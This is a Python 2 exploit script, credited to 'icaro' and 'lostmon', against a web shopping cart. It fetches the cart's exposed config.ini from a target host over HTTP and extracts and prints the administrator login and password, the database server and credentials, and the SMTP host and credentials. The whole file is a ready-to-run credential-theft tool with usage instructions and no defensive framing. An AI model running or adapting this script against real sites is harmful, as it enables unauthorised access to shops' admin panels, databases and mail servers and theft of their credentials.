#                Lostmon Dismarking tm && icaro Badchecksum tm
#                Extract information tool exploit
#                Coded by icaro, Bug reported by lostmon
import httplib
import sys
import string
import socket
import os
def uso():
	print '\n\n\nLOSTMON DISMARKING && ICARO BADCHECKSUM TEAM\n'
	print 'Usage: python ' + sys.argv[0] + ' host /directory_of_shoping_cart/\n'
	print 'Example: python '+ sys.argv[0] +' www.myhost.com /shoping/\n'
def leeini(direccionweb,directorioshoping):
	web=httplib.HTTP(direccionweb)
	web.putrequest('GET',directorioshoping+'config.ini')
	web.putheader('Host',direccionweb)
	web.putheader('Accept', 'text/html')
	web.putheader('Accept', 'text/plain')
	web.endheaders()
	errcode, errmsg, headers = web.getreply()
	fichero=web.getfile()
	datos=fichero.read()
	f=open('tmp.txt','w')
	f.write(datos)
	f.close
	f=open('tmp.txt','r')
	lineas=f.readlines()
	f.close
	n=0
	print 'EXTRACCION DE PASSWD DE ADMIN SHOPING CART\n'
	while n<len(lineas):
		if (string.find(lineas[n],'admin_username'))==0:
			imprime=string.replace(lineas[n],'admin_username : string ','Login ')
			print imprime
		if (string.find(lineas[n],'admin_password'))==0:
			imprime=string.replace(lineas[n],'admin_password : string ','Passwd ')
			print imprime
		n=n+1
	n=0
	print 'EXTRACCION DE INFORMACION DE BASE DE DATOS\n'
	while n<len(lineas):
		if (string.find(lineas[n],'driver : string '))==0:
			imprime=string.replace(lineas[n],'driver : string ','Tipo')
			print imprime
		if (string.find(lineas[n],'server : string '))==0:
			imprime=string.replace(lineas[n],'server : string ','Servidor ')
			print imprime
		if (string.find(lineas[n],'user : string '))==0:
			imprime=string.replace(lineas[n],'user : string ','Usuario ')
			print imprime
		if (string.find(lineas[n],'password : string '))==0:
			imprime=string.replace(lineas[n],'password : string ','Passwd ')
			print imprime
		if (string.find(lineas[n],'database : string '))==0:
			imprime=string.replace(lineas[n],'database : string ','Base de datos ')
			print imprime
		n=n+1
	n=0
	print 'EXTRACCION DE INFORMACION DEL SERVIDOR SMTP\n'
	while n<len(lineas):
		if (string.find(lineas[n],'checkout_email : string '))==0:
			imprime=string.replace(lineas[n],'checkout_email : string ','Email del admin ')
			print imprime
		if (string.find(lineas[n],'from_name : string '))==0:
			imprime=string.replace(lineas[n],'from_name : string ','Nombre')
			print imprime
		if (string.find(lineas[n],'smtp_host : string '))==0:
			imprime=string.replace(lineas[n],'smtp_host : string ','Host ')
			print imprime
		if (string.find(lineas[n],'smtp_username : string '))==0:
			imprime=string.replace(lineas[n],'smtp_username : string ','Usuario ')
			print imprime
		if (string.find(lineas[n],'smtp_password : string '))==0:
			imprime=string.replace(lineas[n],'smtp_password : string ','Passwd ')
			print imprime
		n=n+1

if len(sys.argv)==3:	
	leeini(sys.argv[1],sys.argv[2])
	os.remove('tmp.txt')
else:
	uso()